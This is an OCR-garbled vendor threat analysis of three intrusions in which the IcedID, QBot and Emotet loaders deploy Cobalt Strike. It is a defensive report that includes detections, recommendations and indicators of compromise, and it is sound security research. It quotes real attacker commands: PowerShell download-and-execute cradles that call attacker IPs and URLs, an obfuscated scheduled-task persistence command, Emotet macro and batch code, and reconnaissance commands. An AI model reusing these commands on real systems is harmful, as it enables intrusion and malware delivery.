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The Cybereason Global Security Operations Center Team (GSOC) issues Cybereason Threat Analysis reports to inform on

impacting threats. The Threat Analysis reports investigate these threats and provide practical recommendations for

protecting against them.

In this Threat Analysis report, the GSOC provides details about three recent attack scenarios where fast-moving malicious

actors used the malware loaders IcedID, QBot, and Emotet to deploy the Cobalt Strike framework on the compromised

systems.

The deployment of Cobalt Strike as part of an attack significantly increases the severity of the attack due to the framework’s

high damage potential. One of the attack scenarios that we discuss in this article involves affiliates of the Conti ransomware

group.
cobalt strike Key Points

» Fast-moving adversaries: The threat actors conducted malicious activities in the compromised systems after only
approximately 8 minutes after infecting the systems with the malware loader IcedID, QBot, or Emotet. The malicious
actors deployed Cobalt Strike up to approximately 2 hours after accessing the compromised systems.

o Targeted phishing emails: Malicious actors, who we attribute as affiliates of the Conti ransomware group,
specifically targeted a user by sending the user an email with an attachment (an Excel document) that was almost
identical to a legitimate email and email attachment already distributed to other users within the organization. The
difference was that the attached Excel document contained a malicious macro that distributed IcedID.

¢ Detected and prevented: The Cybereason XDR Platform effectively detects and prevents the IcedID, QBot, and
Emotet malware.

¢ Cybereason Managed Detection and Response (MDR): The Cybereason GSOC has zero tolerance towards attacks
that involve malware loaders, such as IcedID, QBot, and Emotet, and categorizes such attacks as critical, high-
severity incidents. The Cybereason GSOC MDR Team issues a comprehensive report to customers when such an
incident occurs. The report provides an in-depth overview of the incident, which helps scope the extent of
compromise and the impact on the customer’s environment. In addition, the report provides attribution information

when possible as well as recommendations for mitigating and isolating the threat.
Introduction to cobalt strike

Cobalt Strike is an adversary simulation framework with the primary use case of assisting red team operations. However,
Cobalt Strike is also actively used by malicious actors for conducting post-intrusion malicious activities. Cobalt Strike is a
modular framework with an extensive set of features that are useful to malicious actors, such as command execution,

process injection, and credential theft.

The deployment of Cobalt Strike as part of an attack significantly increases the severity of the attack: for example, once
Cobalt Strike runs on a compromised system, the Cobalt Strike operators can broker the system as an initial access point to

other threat actors, including ransomware group affiliates.
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In the period between October 2021 and the time of writing this article, the Cybereason GSOC has observed multiple attack
scenarios where malicious actors used malware that is capable of deploying additional malware on compromised systems

(i.e. malware loaders) to deploy Cobalt Strike on the systems.

In this article, we present the activities of the malware loaders and the malicious actors that operated the loaders in three
selected attack scenarios. Each scenario involves one of the malware loaders IcedID, QBot, and Emotet, and results in the
deployment of Cobalt Strike. One of the attack scenarios that we discuss in this article involves affiliates of the Conti

ransomware group.

Malicious actors use the IcedID malware to distribute various types of malware, including ransomware, to compromised
systems. Malicious actors typically infect systems with IcedID through attachments, usually Microsoft Office documents, in
phishing emails. Once deployed on a system, IcedID uses legitimate system utilities to conduct malicious activities, such as
reconnaissance activities and disabling security mechanisms. Malicious actors also use the IcedID malware to deploy Cobalt

Strike on compromised systems.

QBot, also known as Qakbot, is a malware that has been present on the threat landscape since 2007. QBot originally
featured information stealing and trojan functionalities, however, the malicious actors that develop QBot have extended the
malware with malware loading capabilities. In recent attack campaigns, malicious actors distribute QBot through malicious
attachments in phishing emails. QBot downloads and executes additional malware on compromised machines, such as the

Cobalt Strike framework, and ransomware, such as REvil and ProLock.

Since security researchers first discovered the Emotet malware in 2014, the malware has evolved from a traditional banking
Trojan to a malware loader. Over the last few years, before authorities disrupted the infrastructure of Emotet operators as
part of a global operation in the first quarter of 2021, malicious actors have been using Emotet to deliver the Ryuk

ransomware to COIIlpI‘OHliSEd systems.

On November 15, 2021, security researchers announced the discovery of a new variant of Emotet on the threat landscape.

The Cybereason GSOC team observed attack scenarios that involved the new Emotet malware shortly thereafter, which

involved Emotet deploying Cobalt Strike on compromised systems.

Analysis of COBALT STRIKE

From IcedID to Cobalt Strike: Conti Ransomware Affiliates

The figure below depicts an infection using the IcedID malware that results in the deployment of Cobalt Strike. In this
scenario, the malicious actors, who we attribute as affiliates of the Conti ransomware group, specifically targeted a user by
sending the user an email with an attachment (an Excel document) that is almost identical to a legitimate email and email

attachment already distributed to other users within the organization.

The difference was that the attached Excel document contained a malicious macro. This indicates a potential long-term

presence of the actors in the environment:
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infection using the IcedID malware

When the targeted user executed the macro, the macro downloaded the executable file of the IcedID malware from an
attacker-controlled endpoint and then executed the file. The macro downloaded the IcedID executable to the home directory

of the user, such as C:\Users\test\javabridge64.exe, where javabridge64.exe is the name of the IcedID executable and
C:\Usersltest is the home directory of the user test:

~
outlook exe
CE O

S

(II E;ml BXE -\@

— ~
javabridgetd exe
(ﬂa Q= _/E)

Malicious Office macro executes IcedID javabridge64.exe as seen in the Cybereason XDR Platform

Approximately 8 minutes after the malicious Office macro executed IcedID, the malicious actors executed the SysInfo

IcedID command to enumerate relevant system information, such as active processes, and to conduct the following
reconnaissance activities:
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IcedID executed the following command to retrieve a list of the security solutions that are installed on the
compromised system:

o wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List

IcedID executed the command ipconfig /all to retrieve the networking configuration of the compromised system.
IcedID executed the systeminfo.exe Windows utility to retrieve detailed information about the compromised system,
such as operating system version and hardware configuration.

IcedID executed the following commands to retrieve Active Directory (AD)-related information:

net view /all

(o}

o net view /all /domain

o net config workstation

o net group "Domain Admins" /domain
o nltest /domain_trusts

o nltest /domain_trusts /all_trusts
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IcedID reconnaissance activities as

seen in the Cybereason XDR Platform

Approximately 20 minutes after conducting reconnaissance activities, the malicious actors executed the ExecAdmin IcedID
command that attempts to elevate user privileges using a known Windows User Account Control (UAC) bypass that

leverages the fodhelper Windows utility.

After approximately 5 minutes, the malicious actors executed the Exec IcedID command to execute code by injecting the
code into a cmd.exe instance. Approximately 21 minutes later, the malicious actors executed a Cobalt Strike loader using the

command rundll32 adobe.dll,kasim (where kasim is a dynamic-link library - DLL - entry point):
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Execution of Cobalt Strike loader as seen in the Cybereason XDR Platform

A few minutes after executing the Cobalt Strike loader, the actors downloaded and executed PowerShell code from the

attacker-controlled endpoint with an IP address of 185.70.184[.]8 by executing the PowerShell command:
IEX ((new-object net.webclient).downloadstring('http://185.70.184[.]8:80/a")).

This attributes the actors as Conti affiliates, since the Conti group operated the endpoint with the IP address 185.70.184[.]8

in the week when the attack that we discussed took place. In addition, the security community has observed Conti affiliates

using the IcedID malware to deploy Cobalt Strike on compromised systems.

To deploy the IcedID malware, the Conti affiliates targeted a particular user. At a larger scale, in the middle of 2021, we
observed malicious actors deploying the IcedID malware on systems as part of the “stolen images evidence” campaign,

which we discuss in the following section.
Stolen Images Evidence Campaign

This “stolen images evidence” campaign involved phishing emails that legitimate organization contact forms had generated
and sent to the targeted users — the contact form recipient. The emails contained legal threats related to copyright

infringement due to the use of copyright-protected images that the targeted user had apparently stolen. The emails urged the
recipient to sign into a Google page that supposedly lists the images. After the user signed into the page using valid Google

credentials, the page downloaded and executed a malicious JavaScript (.js) script using the Windows wscript utility.
The script executed a Base64-encoded PowerShell command to download and execute the IcedID malware, for example:
IEX(New-Object Net.WebClient).downloadString("http://minerdone|. Jtop/222g100/index.php’).

The execution of this PowerShell command led to downloading and executing a DLL through the DIIRegisterServer entry

point, such as:
rundll32.exe C:\Users\user\AppData\Local\Temp\VhfNmz.dat,DIIRegisterServer.

This DLL conducted the first stage of deployment of the IcedID malware and we refer to it as first-stage IcedID DLL:
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Download and execution of first-stage IcedID DLL as seen in the Cybereason XDR Platform

The first-stage DLL gathered information about the compromised machine, such as hardware and operating system
information, and downloaded data from an attacker-controlled endpoint, such as grenademetto[.Juno. The data was

encrypted using a symmetric encryption key.

The first-stage IcedID DLL decrypted the data that it had downloaded, which contained a DLL file and a data file that
typically had the name license.dat. The first-stage IcedID DLL typically wrote the DLL file in the user’s %LocalAppData%

directory, such as:
C:\Users\user\AppData\Local\Temp\rebuildx32.tmp, and the license.dat file in the user’s %AppData% directory.
The first-stage IcedID DLL then executed the DLL file, such as:

rundll32.exe “C:\Users\user\AppData\Local\Temp\rebuildx32.tmp",update /i: "ApproveFinish\license.dat", which we refer
to as second-stage IcedID DLL.

The main functionality of the second-stage IcedID DLL was to locate and process the license.dat file. license.dat contained
encrypted content that implemented the IcedID malware. The second-stage IcedID DLL decrypted the content of license.dat

and executed the IcedID malware by injecting the malware into a legitimate Windows process, such as chrome.exe:

~
rundll32.exe
CJ @8 S

_/

( 7y | injected (rundli32.e...

( 73 | injected (rundi3ze...

( £y | injected (rundiz.e...

Second-stage

IcedID DLL injects IcedID into chrome.exe as seen in the Cybereason XDR Platform
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From QBot to Cobalt Strike

The figure below depicts an infection using the QBot malware that results in the deployment of Cobalt Strike:

E

Attacker-controlled
endpoint

¥

B

QBot

3
e -5 K@ P - B -

Malicious actor Phishing User Office Excel Malicious macro regsvr32 QBot msra
email document
@ + 6 minutes
® + 1 minutes @ + 48 minutes ® + 18 minutes ® + 2 minutes @ + 48 minutes
A 0 & 3
Reconnaissance Persistence Rubeus Data theft Invoke-Nightmare Cobalt Strike
[net, arp, ipconfig, netstat, [schtasks] [esentutl]

nslookup, route, whoami]

An infection using the QBot malware

Malicious actors distribute QBot as attachments, typically Microsoft Office Excel documents, to phishing emails. The Office
Excel application prompts the user that has opened the document that distributes QBot to enable Office macro execution.
When the Office macro executes, the macro first downloads the QBot malware from an attacker-controlled endpoint and

then executes the malware.

In the attack scenario that we analyzed, the macro stored the file that implements the QBot malware in the %ProgramData%
directory, such as C:\ProgramData, with the filename extension .ocx - Volet1.ocx (other names include, for example,
Volet2.ocx and Volet3.ocx). The .ocx file was a Windows DLL file that the macro executed using the regsvr32 Windows

utility. The DLL unpacked and loaded a Windows DLL named stager_1.dIl that implements the main QBot functionalities.

In addition, the DLL injected stager_1.dIl into a legitimate Windows process - msra.exe:
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Office Excel macro executes QBot as seen in the Cybereason XDR Platform

Approximately 6 minutes after injecting stager_1.dIl into msra.exe, Qbot conducted reconnaissance activities by executing

the commands net, arp, ipconfig, netstat, nslookup, route, and whoami. The figure below depicts the execution of these

commands, including command line parameters:
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Qbot reconnaissance activities as seen in the Cybereason XDR Platform

Approximately 1 minute after conducting reconnaissance activities, QBot established persistence on the compromised

system by executing the following command:

schtasks.exe /Create /F /TN "{ AO8F7C8F-D95F-4395-8732-9818EOOF3DB2}" /TR "cmd /c start /min \"\" powershell.exe -
Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path
HKCU:\SOFTWARE\Cvdijvkees).omowidpdnpcwb))) " /SC MINUTE /MO 30

This command creates a scheduled task named {AO8F7C8F-D95F-4395-8732-9818EOOF3DB2} that periodically executes
Base64-encoded PowerShell code stored in the registry key HKEY_CURRENT_USER\SOFTWARE\Cvdijvkees.

Approximately 48 minutes after creating a scheduled task, Qbot injected Rubeus, a tool for attacking Kerberos deployments,

into the legitimate Windows Update process wuauclt.exe. After approximately 18 minutes, QBot stole web browser data,

such as cookies and browsing history, using the recovery functionality of the esentutl Windows utility.

After approximately 2 minutes, QBot attempted to exploit the PrintNightmare vulnerability by executing the Invoke-

Nightmare PowerShell command to create an administrative user with the username adminl and password Password.

After approximately 48 minutes, QBot injected a Cobalt Strike module into msra.exe that contacted attacker-controlled

endpoints known to be associated with Cobalt Strike at the time the attack took place:
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Qbot uses the esentutl Windows utility to steal web browser data (in the Cybereason XDR Platform)
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Qbot injects Rubeus into wuauclt.exe and executes Invoke-Nightmare as seen in the Cybereason XDR Platform

From Emotet to Cobalt Strike

The figure below depicts an infection using the Emotet malware that results in the deployment of Cobalt Strike:
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An infection using the Emotet malware

Malicious actors distribute Emotet as attachments, typically Microsoft Office Word or Excel documents, to phishing emails.
In addition to Office documents, malicious actors distribute Emotet through links that lead to Office documents, archive files
that store Office documents, and Universal Windows Application installation packages that download and execute Emotet

when a user executes the installation package:
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Phishing email with attached Microsoft Word doc that distributes Emotet

Distribution: Office Word Document

If an Office Word document distributes Emotet, the Office Word application first prompts the user that has opened the

document to enable Office macro execution:

) Office 365 &8 Microsoft

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Office

Word application prompts a user to enable macro execution
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When the user enables macro execution, a malicious Office macro that is part of the Word document and that distributes
Emotet executes. The macro first deobfuscates macro code by removing character arrays, such as Cew (see the figure

below), and then executes the deobfuscated macro code:

.nCewet/puhkosa/ . hCeutCeutp
antCewure .cCewon. QCeug/uCe W ’ NLIN'.JU[EuauhEB/ }l(!eutt(:eup¢ Ceu/Geu/teGeuam...t(:euagl(}eungappJ.xCeuyc./uG
0 7CEucnntCeuent/aP[m2(L, L] : ’ i ", Cewn""); fCeworeCewach(SsCewt CewiCewn

Set service = ("RD" + s1 + "S.Dat" & "aSpace">
For i =1 To 3
Select Case i
Case 3
R = 49008000
Dim ghkafjek As Double
service. ("sc' & Y"ript.Sh" + s1 + Vell", "),
Case 1

ule.,(}eut UCeuPCeul S.,Ceult —GeuOCeuutCeuFlCeule $CEutpCeuth. 1Ceuf(TCeuECeu., —CeuPCeuatCeuh ‘StptCEuh){$Ceuf1)—\""(}euGCeu Cl
eu\CeullCewinCewdoCewnwCews\§CeuyCeustCewoCevuCeubCewd\rCevuCeundCenwlCew13Ceu . CeneCewuxCeve\"";CeusCeva=CeusCeutptCewh+\""
ew,Ceuf\""Cew+5CeurCeu ; SCButCeuarCeut CauPCeuroCeucECeuuCeuu Cew$CewfCeuwp —CewACeuwrCewguCewmeCewntCewLiCewst Cew$Cewas;
CewrCeweCewakCew;>Cewl ; ""Cew; wf $Cewdf Cewkj

n
End Select
Next
Sub
chkluleiorauwbtoibnof3ibtaoiwbtoaivhngpofkjhpzjus4oighszoizcduibh{(BylUal hskld As String, ByUal wowien As String)
Dim @ As Double
Dim ret As Integer
ret = 1
hskld For As #1
While ¢ < @
ret = Hex{Q — Fix{(Q ~/ 16> = 16> & ret
Q = Fix<(Q ~ CDh1l<16>>
U E T

rivate Sub Document_ <)
Dim df jrglwihjpgwof As String
dgf jalf hkaugwikgfuol3ugnacoiduStaboidutbroaildubgo3uwugaolisdrgfso8iZue judoljgf “sd". @G, @
If fojn = “afgowihro3ihogew df" Then
fil "gks; krd4;"
MsgBox fjl
End If

Implementation of a malicious macro that distributes Emotet

The de-obfuscated macro code executes PowerShell code. The PowerShell code establishes a connection to an attacker-

controlled endpoint and downloads Emotet to the %ProgramData% directory, such as C:\ProgramData.

Emotet typically arrives from the attacker-controlled endpoint in the form of a DLL file that the PowerShell code stores
under a random filename in the %ProgramData% directory. The PowerShell code then uses the rundll32 Windows utility to

execute Emotet:

Ve _ ~ "C:\Windows\System32\cmd.exe" /c start /B powershell $dfk
{ m—_ riveonl Gxe ()] j="Sstrs=\"http://primtalent.com/wp-admin/9yt1u/ http://husk
A ysb.com/wordpress/6f0glQIWPaYDfa/,http:/frideyf.com/dm7v
g/DGWFrJADkutWTk/ http://manak.edunetfoundation.org/scho
CE ——p— olfacilitator/qlwM2RAHhDGBNS/ http://ckfoods.net/wp-adm

® ® in/wPInm2rgMu/ http://adorwelding.zmotpro.com/wp-content
[ZBifMTCM2VBWIfeSZmzv/ http://server.zmotpro.com/venkat/
products/facebook-page/assets/kmldeXnG/\".Split(\",\");forea
ch($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"

De-obfuscated macro code executes PowerShell that downloads and executes Emotet as seen in the Cybereason XDR

Platform

Alternatively to executing the PowerShell code directly, the de-obfuscated macro code may first create a Windows Batch
(.bat) file in the %ProgramData% directory under a random name, such as C:\ProgramData\sdfhiuwu.bat or yksds.bat, and
then execute the file. The .bat file stores obfuscated code that includes Base-64 encoded code and code that is stored in

multiple string variables.
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The obfuscated code in the .bat file executes the PowerShell code that downloads and then uses the rundIll32 Windows

utility to execute Emotet:

vbkw34juwkidghoih (vbak4bhlityhi , Xoihcowidhtw , agsfoiuborihydog
kghkerd4gtkefkgsju ): fhwkuefghiaswv

fh2oeBwdshf, dBi7wtiuakisijgh, hfk2wjek]j
fh2ceBwdshf = |"c"

fh2ceBwdshf <> "fgaw" fh2ce8wdshf = fh2ceBwdshf + |":\pro" |+ d8i7wtiuakisjgh + ['"gramd"
hfk2wjekj = fhquiwgeos.TextBoxl.Text
fh2ceBwdshf = fh2oeBwdshf + |["ata\sdfhiuwu.b"

Open fh2ceBwdshf & |"at" #1
Put #1, , hfk2wjekj

Close #1 C:\programdata\sdfhiuwu.bat
dhfiquofjdas = Now + TimeValue ("00:00:07")

Shell fh2ce8wdshf + "at", 0

De-obfuscated macro code creates a Windows Batch file

4 mgndsrveu& gjeprojdgpf9ghporjt=pow&echo
gbo3l4itgfauc4AbgBkAGUAZABLAGUAZABPAGEALgBPAGBALWBKLI tiuygiwergfoiaduewbfoaisudhvgfo9udoiauwges&echo
cvui23ytoidrgfuscoidujbgnsdpolbfihzdpohfsokrfyhé& fjwoehglodB8ghsoidhfpowei=ershé&echo
cbvnolsk4uibleks lgfjsciuegfoiwdubtoisbvg soiuervuiwyvtoldedQBOAGUAcgBzAGUAcgB2AGiugé&
fhoishoeiwdhoOgidfpshpo=ell -e&echo fdgo4iwtw hdpot2huiociw3rugsdB8ivfTaégwgf32io3tygo3wtgup
go9w78gerwe&echo vhn owi34htoBewgy9d7rgzso94uhygdloibhgxdprfgihpSeshiygslkdbjzvxm sbgfiwdueé&
bviwueg46toiurghi3gwoakgtfois=nc
JABzAHQACgBzADOAIgBoAHQAJABWADOALWAVAGOAbWwBYAGKkACWBOAGKkALQAUAGMALWBtACBAdWBWACOAYWBVAGAAdABIAG4AdAAY
AEUARgBoAGsAVgBQAGQOASABWAE 4AALwAsAGgAdABOAHAAcWAGACBALWEBNAGUAegB3AGUAYgAUAGMALWB tACBAMgAWADIAMOAVAHKA
NQB2AHgAVgBaAGcANgBXAFkANgAyAHURAMOBsSAEYAcCABSADcANwWBxACBALABoAHQAdABwADoALwWAVAGMAbwB tAHAAJQBOAGUACgBz
AGUAcgB2AGkAYwWBlAHMAAABvAHIAbwBuUAHQAbwWAUAGMABWBtACSAUWBl1AGAAYQBhAGgALWAOAHMATABBAFcARWBNAGEALWASAGGA
dABOAHAACWAGACBALWBOAGUAcWBOAC4AbwBoAGOAeQBoAGBALOBI1AC4AYWBVAGOALWBSAGKAYWB1AG4AcWEBl1AHMATLWBYAGgAMgBK
AGYAMWBQAGIAeAR4AEMAWgBhACSBALABoAHQAJABwAHMAOgAVACB8ACcWBOAGBACAAXAC4AJABl1 AGMAaABYAGEAdABPpAGMACWBVAGYA
&echo bhs getiwoc4ugoisbuvgoz9subregfibzs 4IAaQAgACQAcwBOACAALQOBPAHUAJABGA
towiutgorueiwgfa8w73rgy3utvrewgf aw3tguiwdé& ghjoliShoewihgoisbvfoleipw=
dAB3AGEAcgBlAC4AYWBVAGOALWBBAEWARgBBAF 8ARABBAFQAQQAVAGEADABMAGEAYWBnAGKAYQBWAGKALWBgQAHQARgBVAGEAEQAY
ACwAaABOAHQAcABzADoALWAVAHgRagAUADKkAMOBsSAGKAZQBi AGKAYQBUAC4AdABVAHARALWBrADgAdwAORGGANgBYAGQALWBHAHQA
NABCAFkAcOBXAETAcwAOAFoAVQBHAEUATQA1 AGBAUABYACSALABoAHQAdABWAHMAOgAVACBAYgBYAGEAbgBkAGUAZABtAGUAZABD
AGEALgBpAGBALWBKAGBAZQBSACSAQgBQAFEARAAIAEIAYWBoAGOANABCAHIASAAVACIALgBTAHARALABPpAHQAKARI ACWAIgAPADSA
ZgBvAHIAZQBhAGMAaAROACQACWBOACARaQBUACAATABzAHQACgBZACkAewAKAHIAMOASAECAZQBOACOAUGBEhAGAAZABVAGOAOWAK
AHIAMgASAEcAZQBOACOAUgGBhAGAAZABVAGOAOWAKAHQACABOAGGAPQALI AEMAOgGECcAFARCgBVAGcAcgBhAGOARABhAHQAYQBcACIA
&echo vbkleggfXDRHR] j6itdkdxhR RjuDRTJSrebhsd4tyseryhdfgjxdrghr4hd hsx5thsHSDREGSWEYEjser5yHdh&
yryi23udhgskbvijasfikdvo=
EwAKkAHIAMOArACIALgBKkAGWADbAAI ADsASQBUAHYAbWBrAGUALQOBXAGUAYgBSAGUACQBlAGUAcWBOACAALQBVAHIAaQAgACQACWBO
ACAALOBPAHUAJABGAGKALABLACAAJABOAHAAdABOADSAaQBmMACgAVABLAHMAAAALAFAAYQBOAGgAIAAKAHQACABOAGGAKQBTACQA
ZgBwADOAIgEDADOAXABXAGKALgBKAGEAdwB zAFwAUWBSAHMAVWBVAHCANgAOAFwACgBlAG4AZABsAGWAMwWAYACAAZQOB4AGUATIgAT
ACQAYQASACQAJABWAHQAaAArACIALABmMACIARKWAKAHIAMgA7AFMAdABhAHIAdAALAFAARCcgBVAGMAZQBZzAHMAIAARKAGYACAAGACOA
QROBYAGCcAdQBtAGUAbgBOAEWAaQBzAHQATARKAGEAOWBiAHIAZQBhAGSAOWBOAHOA

hoishoeiwdhoOgidfpshp
ryi23udhgskbvijasfikdvo?

A Windows batch (.bat) file that contains obfuscated code
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C:\windows\system32\cmd.exe /c c\programdata\yksds.bat

EI winword.exe

\o’

cmd.exe N

: conhost.exe
eet_Backup/Z903/ https://terracondivisa.farsiprossimofaenza.
org/wp-content/aiosD0a1DS/ hitp://coachdto.com/ddek/glfD
3CGrW5QGcThUA/ hitp://phatthalung.drr.go.th/content/km2
em79%xx7PlikSm/ hitp:/fthinglabs xyz/overcollar/s4rNtArh/ ht
tp://knossesclothing.club/amla/bk/".Split(",");foreach($st in $str powershell exe
s){$r1=Get-Random;$r2=Get-Random; $tpth="C:\ProgramDat
a\"+$r1+".dll"Invoke- WebRequest -Uri $st -OutFile Stpth;if(Test-
Path $tpth){if((Get-item $tpth).Length -ge 50000}{$fp="C:\Windo
ws\SysWow64\rundll32.exe";$a=5tpth+",f"+5r2;Start-Process
$fp -ArgumentList $a;break;}}}

\o’/

Execution of .bat file (yksds.bat) that executes PowerShell code which downloads and executes Emotet as seen in the
Cybereason XDR Platform

The PowerShell code uses the rundll32 Windows utility and specifies the DLL entry point Control_RunDLL or
DlIRegisterServer to execute Emotet. We observed that rundll32 maps the Emotet DLL file under the internal name of X.dII:

@ 748603.dII" DlIRegisterServer

3 rundll32.exe I
(0 ¥ o
vy

C\windo wowss\rundli32.exe "C:\P Data\1227
< | rundll32 exe \windows\Sys \ru exe "C:\ProgramData\

4 rundli32.exe
SRG!

rundll32 executes Emotet: DIIRegisterServer DLL entry point as seen in the Cybereason XDR Platform

In 84 loaded modules

Fa T
{ M
]

y rundll32 exs N

o 0 ﬁ

rundll32 exe
- @ @

rundll32 maps an Emotet DLL file under the internal name of X.dll as seen in the Cybereason XDR Platform

Distribution: Office Excel Document
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If an Office Excel document distributes Emotet, the Office Excel application prompts the user that has opened the document
to enable Office macro execution. The Excel document contains several hidden Excel worksheets that store malicious Office

macros that distribute Emotet.

When the user enables macro execution, the Office macros execute:

H -

FILE HOME IMNSERT PAGE LAYOUT FORMULAS DATA REVIEW WIEW
ﬁ Y - jpr—
D‘}E’ Calibri -1 A A == - M- 5 |Genenl
Eg -

Paste ¢ B I U- EH. O-A- E==&E= = - 9%
Clipboard Font T Alignment P MNumber

I SECURITY WARNING Macros have been disabled. Enable Content
Al - Jx

A B C D E F G H | J
1 |
THIS DOCUMENT 15 ONLY AVAILABLE FOR DESKTOP OR LAPTOP VERSIONS OF MICROSOFT OFFICI
2 Open the document in Microsoft Office. Previewing online is not available for protected documents,
3
4 CLICK "ENABLE EDITING" FROM YELLOW BAR ABOVE
3 | Once you have enabled editing, please click "Enable Content” button
]
7
g Linhide
3 Unhide sheet:
0 I |
11 Ssbr2
Ssbra
= EFEWF
13 Bukl
14 Buk?
Buk3

= Bukd
16
17
1B

Sheet

Office Excel application prompts a user to enable macro execution

The macros establish a connection to an attacker-controlled endpoint to download the Emotet malware. Emotet typically
arrives from the attacker-controlled endpoint in the form of a DLL file that the macros store under a filename with the

extension .ocx, such as besta.ocx, bestb.ocx, or bestc.ocx.

The macros use the rundll32 Windows utility and specify the DLL entry point Control_RunDLL or DIIRegisterServer to
execute Emotet. The macros may obfuscate the DLL entry point name by appending the ampersand (&) character to

individual characters of the name:
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Y C:\Windows\SysWow64\rundll32.exe . \bestb.ocxD"&""&"I"&
excel.exe @ "R'&"eg"&"i"&"s"&"t"&"erServer
e B

2

.. Wbestb.ocx,D11Registerserver

rundil32.exe

rundll32 executes Emotet: DIIRegisterServer DLL entry point as seen in the Cybereason XDR Platform
Malicious Activities

When Emotet executes on a compromised system, the malware first establishes persistence by creating system services that
start at system startup or by creating registry values at the
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key:

= Properties

i

CAWINDOWS\SysWOW64\rundll32.exe "C:\Us...

CAWINDOWS\SysWOW64\rundll32.exe "C:\Users\
i \softwar \AppData\Local\ \oxneternhgbtah.ybe".fR
gbJJocS

e\microsoft\windows\currentversion\run\oxneternhgbtah.ybe

Emotet (DLL file: oxneternhgbtah.ybc) establishes persistence on compromised system as seen in the Cybereason XDR

Platform

Emotet then executes processes that conduct malicious activities. The processes that Emotet executes have random names

and are children processes of the process of the rundli32 utility that executes Emotet.

In the attack scenario that we analyzed, Emotet executed a process that steals cookies or web and email credentials from
client credential databases. Emotet used the keyword scomma in the process command line to execute
WebBrowserPassView, a tool that steals web credentials from browser credential databases. Emotet then exfiltrated data

from the compromised system to attacker-controlled endpoints:
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& rundll32.exe @ @

6 processes
&

& View Processes with Attack Tree

H

T

e

e

H

:]l

Emotet executes processes that conduct
malicious activities as seen in the Cybereason XDR Platform

rundil32. exe N\ "C:\Users} \AppData\l ocal\ Ternp\\lwrzdcygdgr.exe”
J ew j@

fscomma "C:\Users) MppData\Local\Temp\4208 tmp"

kwrzdcygdgr.exe

Emotet executes the WebBrowserPassView tool as seen in the Cybereason XDR Platform
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« Connection « DNS

= 10.208.114.163:51602 = 148.72.96.3:80 & 2 resolved dns queries from domain to ip

= 10.208.114.163:51602 = 148.72.96.3:80

Externa nec - primtalent.com = 148.72.9...
= 10.208.114.163:51602 > 148.72.96.3:80

R asinG Connechions primtalent.com > 148.72.96..
1

1748 @ View all elements

475 KB

Emotet exfiltrates data as seen in the Cybereason XDR Platform

After Emotet exfiltrated data, the Emotet operators deployed the Cobalt Strike framework on the compromised system.
Emotet deployed a Cobalt Strike beacon in the form of a DLL file and executed the beacon by invoking the
DlIRegisterServer DLL entry point.

Detection and Prevention of emotet

Cybereason XDR Platform

The_Cybereason XDR Platform is able to detect and prevent IcedID, QBot, and Emotet using multi-layer protection that

detects and blocks malware with threat intelligence, machine learning, and Next-gen Antivirus (NGAV) capabilities:

Cybereason XDR Platform detects IcedID injecting code into a cmd.exe instance

adobe.dll
Cybereason Threat Intelligence identified a
a":) loaded m:}dule as malicious

"IIII e __|_

Cybereason XDR Platform detects IcedID executing a Cobalt Strike loader implemented in adobe.dll
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regsvriz.exe
Process has loaded a malicious tool

a") Root cause

Cybereason XDR Platform detects a malicious Office macro executing QBot using the regsvr32 Windows utility

X Malops (1)

Malicious process

D em.xIsx >

Cybereason XDR Platform detects a malicious Office Excel document that distributes Emotet
Cybereason GSOC MDR
The Cybereason GSOC recommends the following:

e Enable the Anti-Malware feature in the Cybereason NGAV module and enable the Detect and Prevent modes of this

feature.

e Securely handle email messages that originate from external sources. This includes disabling hyperlinks and
investigating the content of email messages to identify phishing attempts.

o Threat Hunting with Cybereason: The Cybereason MDR team provides its customers with custom hunting queries for

detecting specific threats - to find out more about threat hunting and Managed Detection and Response with the

Cybereason Defense Platform, contact a Cybereason Defender here.

o For Cybereason customers: More details available on the NEST including custom threat hunting queries for

detecting this threat.

Cybereason is dedicated to teaming up with defenders to end cyber attacks from endpoints to the enterprise to everywhere.

Schedule a demo today to learn how your organization can benefit from an_operation-centric approach to security.

Indicators of Compromise

Executables SHA-1 hash:
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Domains

IP Addresses

MITRE ATT&CK Techniques: Cobalt Strike, IceID, Emotet and QBOT

Initial Access

Phishing;
Spearphishing
Attachment
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a4d415c07b4ff77c6bd792c32fc46bfc6a1b0354
SHA-1 hash:

€8992a283f9f37dec617b305db2790d9112d3a20

zasewalli[.]fun
endofyour[.]ink
pedrosimanez].]fun
kingflipp[.Jonline
beliale232634[.]at
belialw869367].]at

belialq449663].]at

23.111.114[.]52
104.168.44[.]1130

185.70.184[.]8

Defense Credential
Execution Persistence . Discovery
Evasion Access
Abuse
Elevation
Scheduled  Control .
User Credentials
Task/Job: Mechanism: Account
Execution: from Web .
o ) Scheduled Bypass Discovery
Malicious File Browsers
Task User
Account
Control
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